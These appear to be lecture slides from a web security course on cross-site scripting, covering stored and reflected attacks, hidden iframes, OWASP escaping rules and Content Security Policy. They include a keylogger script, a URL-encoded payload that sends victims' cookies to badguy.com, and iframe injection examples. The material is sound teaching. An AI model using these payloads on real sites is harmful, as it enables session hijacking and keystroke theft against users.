Web Security 3: XSS
Announcements...

- 🌼 PG&E (NOT!!!)
  - May or may not extend lectures into dead-week, TBD
- Project 2 release Real Soon Now (aka in the next couple of hours!)
Cross-Site Scripting (XSS)

• Hey, lets get that web server to display MY JavaScript…
  • And now…. MUHAHAHAHHAHAHAHAHAHAHAHAAH!
<table>
<thead>
<tr>
<th>Rank</th>
<th>Score</th>
<th>ID</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>93.8</td>
<td>CWE-89</td>
<td>Improper Neutralization of Special Elements used in an SQL Command</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>('SQL Injection')</td>
</tr>
<tr>
<td>2</td>
<td>83.3</td>
<td>CWE-78</td>
<td>Improper Neutralization of Special Elements used in an OS Command</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>('OS Command Injection')</td>
</tr>
<tr>
<td>3</td>
<td>79.0</td>
<td>CWE-120</td>
<td>Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')</td>
</tr>
<tr>
<td>4</td>
<td>77.7</td>
<td>CWE-79</td>
<td>Improper Neutralization of Input During Web Page Generation</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>('Cross-site Scripting')</td>
</tr>
<tr>
<td>5</td>
<td>76.9</td>
<td>CWE-306</td>
<td>Missing Authentication for Critical Function</td>
</tr>
<tr>
<td>6</td>
<td>76.8</td>
<td>CWE-862</td>
<td>Missing Authorization</td>
</tr>
<tr>
<td>7</td>
<td>75.0</td>
<td>CWE-798</td>
<td>Use of Hard-coded Credentials</td>
</tr>
<tr>
<td>8</td>
<td>75.0</td>
<td>CWE-311</td>
<td>Missing Encryption of Sensitive Data</td>
</tr>
<tr>
<td>9</td>
<td>74.0</td>
<td>CWE-434</td>
<td>Unrestricted Upload of File with Dangerous Type</td>
</tr>
<tr>
<td>10</td>
<td>73.8</td>
<td>CWE-807</td>
<td>Reliance on Untrusted Inputs in a Security Decision</td>
</tr>
<tr>
<td>11</td>
<td>73.1</td>
<td>CWE-250</td>
<td>Execution with Unnecessary Privileges</td>
</tr>
<tr>
<td>12</td>
<td>70.1</td>
<td>CWE-352</td>
<td>Cross-Site Request Forgery (CSRF)</td>
</tr>
<tr>
<td>13</td>
<td>69.3</td>
<td>CWE-22</td>
<td>Improper Limitation of a Pathname to a Restricted Directory</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>('Path Traversal')</td>
</tr>
<tr>
<td>14</td>
<td>68.5</td>
<td>CWE-494</td>
<td>Download of Code Without Integrity Check</td>
</tr>
<tr>
<td>15</td>
<td>67.8</td>
<td>CWE-863</td>
<td>Incorrect Authorization</td>
</tr>
<tr>
<td>16</td>
<td>66.0</td>
<td>CWE-829</td>
<td>Inclusion of Functionality from Untrusted Control Sphere</td>
</tr>
</tbody>
</table>
Reminder: Same-origin policy

• One origin should not be able to access the resources of another origin
  • http://coolsite.com:81/tools/info.html
• Based on the tuple of protocol/hostname/port
XSS: Subverting the Same Origin Policy

• It would be Bad if an attacker from evil.com can fool your browser into executing their own script …
  • … with your browser interpreting the script’s origin to be some other site, like mybank.com
• One nasty/general approach for doing so is trick the server of interest (e.g., mybank.com) to actually send the attacker’s script to your browser!
  • Then no matter how carefully your browser checks, it’ll view script as from the same origin (because it is!) …
  • … and give it full access to mybank.com interactions
• Such attacks are termed Cross-Site Scripting (XSS) (or sometimes CSS)
Different Types of XSS (Cross-Site Scripting)

- There are two main types of XSS attacks
  - In a stored (or “persistent”) XSS attack, the attacker leaves their script lying around on mybank.com server
    - … and the server later unwittingly sends it to your browser
    - Your browser is none the wiser, and executes it within the same origin as the mybank.com server
  - Reflected XSS attacks: the malicious script originates in a request from the victim

- But can have some fun corner cases too…
  - DOM-based XSS attacks: The stored or reflected script is not a script until after “benign” JavaScript on the page parses it!
  - Injected-cookie XSS: Attacker loads a malicious cookie onto your browser when on the shared WiFi, later visit to site renders cookie as a script!
Stored XSS (Cross-Site Scripting)
Stored XSS

1. Attack Browser/Server
   - evi.l.com
   - Inject malicious script

2. Server Patsy/Victim
   - bank.com
Stored XSS

1. User Victim

2. Server Patsy/Victim

3. Attack Browser/Server
Stored XSS

1. Inject malicious script

2. Request content

User Victim

Server Patsy/Victim

Attack Browser/Server

bank.com

evil.com
Stored XSS

1. Inject malicious script from evil.com
2. User Victim requests content from bank.com
3. Server Patsy/Victim receives malicious script
Stored XSS

1. Inject malicious script
2. Request content
3. Receive malicious script
4. Execute script embedded in input as though server meant us to run it
Stored XSS

1. Inject malicious script
2. User Victim requests content
3. Server Patsy/Victim receives malicious script
4. Execute script embedded in input as though server meant us to run it
5. Perform attacker action includes authenticator cookie

Attack Browser/Server

evil.com

bank.com
Stored XSS

User Victim

1. Inject malicious script
2. Request content
3. Receive malicious script
4. Execute script embedded in input as though server meant us to run it
5. Perform attacker action includes authenticator cookie

E.g., \texttt{GET http://mybank.com/sendmoney?to=DrEvil\&amt=100000}
Stored XSS

And/Or:

1. Inject malicious script

User Victim

2. request content

3. receive malicious script

4. execute script embedded in input as though server meant us to run it

Server Patsy/Victim

5. perform attacker action includes authenticator cookie

6. steal valuable data

Attack Browser/Server

Includes authenticator cookie
Stored XSS

And/or:


Server Patsy/Victim

Attack Browser/Server

User Victim

1. evil.com

2. request content

3. receive malicious script

4. execute script embedded in input as though server meant us to run it

5. perform attacker action includes authenticator cookie

6. steal valuable data

bank.com
Stored XSS

1. Inject malicious script
2. Request content
3. Receive malicious script
4. Perform attacker action
5. Execute script embedded in input as though server meant us to run it
6. Steal valuable data

(A "stored" XSS attack)
Squiggler Stored XSS

- This Squig is a keylogger!

```html
Keys pressed: <span id="keys"></span>
<script>
document.onkeypress = function(e) {
  get = window.event?event:e;
  key = get.keyCode?get.keyCode:get.charCode;
  key = String.fromCharCode(key);
  document.getElementById("keys").innerHTML += key + ", " ;
}
</script>
```
Stored XSS: Summary

- **Target**: user with Javascript-enabled browser who visits user-generated-content page on vulnerable web service

- **Attacker goal**: run script in user’s browser with same access as provided to server’s regular scripts (subvert SOP = Same Origin Policy)

- **Attacker tools**: ability to leave content on web server page (e.g., via an ordinary browser); optionally, a server used to receive stolen information such as cookies

- **Key trick**: server fails to ensure that content uploaded to page does not contain embedded scripts
  - Notes: (1) do not confuse with Cross-Site Request Forgery (CSRF); (2) requires use of Javascript (generally)
Two Major Types of XSS (Cross-Site Scripting)

• There are two main types of XSS attacks
• In a *stored* (or “persistent”) XSS attack, the attacker leaves their script lying around on *mybank.com* server
  • ... and the server later unwittingly sends it to your browser
  • Your browser is none the wiser, and executes it within the same origin as the *mybank.com* server
• In a *reflected* XSS attack, the attacker gets you to send the *mybank.com* server a URL that has a Javascript script crammed into it
  ...  
  • ... and the server echoes it back to you in its response
  • Your browser is none the wiser, and executes the script in the response within the same origin as *mybank.com*
Reflected XSS (Cross-Site Scripting)

Victim client
Reflected XSS

1. visit web site

Victim client

Attack Server
evil.com
Reflected XSS

1. Visit web site
2. Receive malicious page

Victim client

Attack Server

evil.com
Reflected XSS

1. Visit web site
2. Receive malicious page
3. Click on link

Exact URL under attacker’s control

Server Patsy/Victim

 Victim client

Attack Server

mybank.com

evil.com
Reflected XSS

1. visit web site
2. receive malicious page
3. click on link
4. echo user input

Victim client

Attack Server
evil.com

Server Patsy/Victim

mybank.com
Reflected XSS

1. visit web site
2. receive malicious page
3. click on link
4. echo user input
5. execute script embedded in input as though server meant us to run it
Reflected XSS

1. visit web site
2. receive malicious page
3. click on link
4. echo user input
5. execute script embedded in input as though server meant us to run it
6. perform attacker action
Reflected XSS

And/Or:

1. visit web site
2. receive malicious page
3. click on link
4. echo user input
5. execute script embedded in input as though server meant us to run it
6. send valuable data

Attack Server

Evil.com

Server Patsy/Victim

Mybank.com
Reflected XSS

1. visit web site
2. receive malicious page
3. click on link
4. echo user input
5. execute script embedded in input as though server meant us to run it
6. perform attacker action
7. send valuable data

(“Reflected” XSS attack)

Attack Server

Server Patsy/Victim

Victim client
Example of How Reflected XSS Can Come About

• User input is echoed into HTML response.

• Example: search field
  • http://victim.com/search.php?term=apple
  • search.php responds with
    <HTML>  <TITLE> Search Results </TITLE>  
     <BODY>    Results for $term
      ...
    </BODY>  </HTML>

• How does an attacker who gets you to visit evil.com exploit this?
Injection Via Script-in-URL

- Consider this link on evil.com: (properly URL encoded)
  - http://victim.com/search.php?
    term=%3Cscript%3E%20window.open%28%22http%3A%2F%2Fbadguy.com%3Fcookie%3D%22%2Bdocument.cookie%29%20%3C%2Fscript%3E

- What if user clicks on this link?
  - Browser goes to victim.com/search.php?...
  - victim.com returns
    <HTML> Results for <script> ... </script> ...
  - Browser executes script in same origin as victim.com
    - Sends badguy.com cookie for victim.com
Reflected XSS: Summary

- **Target**: user with Javascript-enabled browser who visits a vulnerable web service that will include parts of URLs it receives in the web page output it generates
- **Attacker goal**: run script in user’s browser with same access as provided to server’s regular scripts (subvert SOP = Same Origin Policy)
- **Attacker tools**: ability to get user to click on a specially-crafted URL; optionally, a server used to receive stolen information such as cookies
- **Key trick**: server fails to ensure that output it generates does not contain embedded scripts other than its own
- Notes: (1) do not confuse with Cross-Site Request Forgery (CSRF); (2) requires use of Javascript (generally)
And Hiding It All...

- Both CSRF and reflected XSS require the attacker's web page to run...
  - In a way not noticed by the victim
- Fortunately? iFrames to the rescue!
  - Have the "normal" page controlled by the attacker create a 1x1 iframe...
    - `<iframe height=1 width=1 src="http://www.evil.com/actual-attack">`
- This enables the attacker's code to run...
  - And the attacker can mass-compromise a whole bunch of websites... and just inject that bit of script into them
But do it without clicking!

- Remember, a frame can open to another origin by default...
  - `<iframe src="http://victim.com/search.php?
term=%3Cscript%3E%20window.open%28%22http%3A%2F%2Fbadguy.co
m%3Fcookie%3D%22%2Bdocument.cookie%29%20%3C%2Fscript%3E"
  height=1 width=1>`

- So this creates a 1x1 pixel iframe ("inline frame")
  - But its an "isolated" origin: the hosting page can't "see" inside..
  - But who cares? The browser opens it up!

- Can really automate the hell out of this...
  - `<iframe src="http://attacker.com/pwneverything" height=1
  width=1>`
And Thus You Don't Even Need A Click!

- Bad guy compromises a bunch of sites...
  - All with a 1x1 iFrame pointing to badguy.com/pwneverything
- badguy.com/pwneverything is a rich page...
  - As many CSRF attacks as the badguy wants...
    - Encoded in image tags...
  - As many reflected XSS attacks as the badguy wants...
    - Encoded in still further iframes...
  - As many stored XSS attacks as the badguy wants...
    - If the attacker has pre-stored the XSS payload on the targets
- Why does this work?
  - Each iframe is treated just like any other web page
  - This sort of thing is **legitimate** web functionality, so the browser goes "Okeydoke..."
Protecting Servers Against XSS (OWASP)

- OWASP = Open Web Application Security Project
- Lots of guidelines, but 3 key ones cover most situations
  https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
- Never insert untrusted data except in allowed locations
- HTML-escape before inserting untrusted data into simple HTML element contents
- HTML-escape all non-alphanumeric characters before inserting untrusted data into simple attribute contents
Never Insert Untrusted Data Except In Allowed Locations

```html
<script>...NEVER PUT UNTRUSTED DATA HERE...</script>   directly in a script

<!--...NEVER PUT UNTRUSTED DATA HERE...-->
inside an HTML comment

<div ...NEVER PUT UNTRUSTED DATA HERE...=test />
in an attribute name

<NEVER PUT UNTRUSTED DATA HERE... href="/test" />   in a tag name

<style>...NEVER PUT UNTRUSTED DATA HERE...</style>   directly in CSS
```
HTML-Escape Before Inserting Untrusted Data into Simple HTML Element Contents

```html
<body>...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...</body>
<div>...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...</div>
any other normal HTML elements

“Simple”: <p>, <b>, <td>, ...

Rewrite 6 characters (or, better, use framework functionality):

& --&gt; &amp;
< --&gt; &lt;
> --&gt; &gt;
" --&gt; &quot;
' --&gt; &apos;
/ --&gt; &amp;#x2F;
HTML-Escape Before Inserting Untrusted Data into Simple HTML Element Contents

```html
<body>...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...</body>
<div>...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...</div>
any other normal HTML elements
```

*Rewrite 6 characters (or, better, use framework functionality):*

While this is a “default-allow” *black-list*, it’s one that’s been heavily community-vetted
HTML-Escape all non-alphanumeric characters before inserting untrusted data into simple attribute contents

```
<div attr="...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...">content</div>

"Simple": width=, height=, value=...
NOT: href=, style=, src=, onXXX=...
```

Escape using \&amp;#xHH; where HH is hex ASCII code (or better, again, use framework support)
Web Browser Heuristic Protections...

- Web Browser developers are always in a tension
  - Functionality that may be critical for real web apps are often also abused
  - Why CSRF is particularly hard to stop:
    It uses the motifs used by real apps

- But reflected XSS is a bit unusual...
  - So modern web browsers may use heuristics to stop some reflected XSS:
    - E.g. recognize that <script> is probably bad in a URL, replace with script>
  - Not bulletproof however
Content Security Policy (CSP)

• Goal: prevent XSS by specifying a white-list from where a browser can load resources (Javascript scripts, images, frames, ...) for a given web page

• Approach:
  • Prohibits inline scripts
  • Content-Security-Policy HTTP header allows reply to specify white-list, instructs the browser to only execute or render resources from those sources
    • E.g., script-src 'self' http://b.com; img-src *
  • Relies on browser to enforce

Content Security Policy (CSP)

- **Goal:** prevent XSS by specifying a white-list from where a browser can load resources (Javascript scripts, images, frames, ...)
- **Approach:**
  - Prohibits inline scripts
  - Content-Security-Policy HTTP header allows reply to specify white-list, instructs the browser to only execute or render resources from those sources
    - E.g., `script-src 'self' http://b.com; img-src *`
  - Relies on browser to enforce

This says only allow scripts fetched explicitly (`<script src=URL></script>`) from the server, or from `http://b.com`, but not from anywhere else.

Will **not** execute a script that’s included inside a server’s response to some other query (required by XSS).

Content Security Policy (CSP)

• Goal: prevent XSS by specifying a white-list from where a browser can load resources (Javascript scripts, images, frames, …) for a given web page

• Approach:
  • Prohibits inline scripts
  • Content-Security-Policy HTTP header allows reply to specify white-list, instructs the browser to only execute or render resources from those sources
  • E.g., script-src 'self' http://b.com; img-src *
  • Relies on browser to enforce

This says to allow images to be loaded from anywhere.
CSP resource directives

- **script-src** limits the origins for loading scripts
  - This is the critical one for us
- **img-src** lists origins from which images can be loaded.
- **connect-src** limits the origins to which you can connect (via XHR, WebSockets, and EventSource).
- **font-src** specifies the origins that can serve web fonts.
- **frame-src** lists origins can be embedded as frames
- **media-src** restricts the origins for video and audio.
- **object-src** allows control over Flash, other plugins
- **style-src** is script-src counterpart for stylesheets
- **default-src** define the defaults for any directive not otherwise specified
Multiple XSS and/or CSRF vulnerabilities: Canaries in the coal mine...

- If a site has one fixed XSS or CSRF vulnerability...
  - Eh, people make mistakes... And they fixed it
- If a site has multiple XSS or CSRF vulnerabilities...
  - They did not use a systematic toolkit to prevent these
  - And instead are doing piecemeal patching...
- Its like memory errors
  - If you squish them one at a time, there are probably lurking ones
  - If you squish them all, why worry?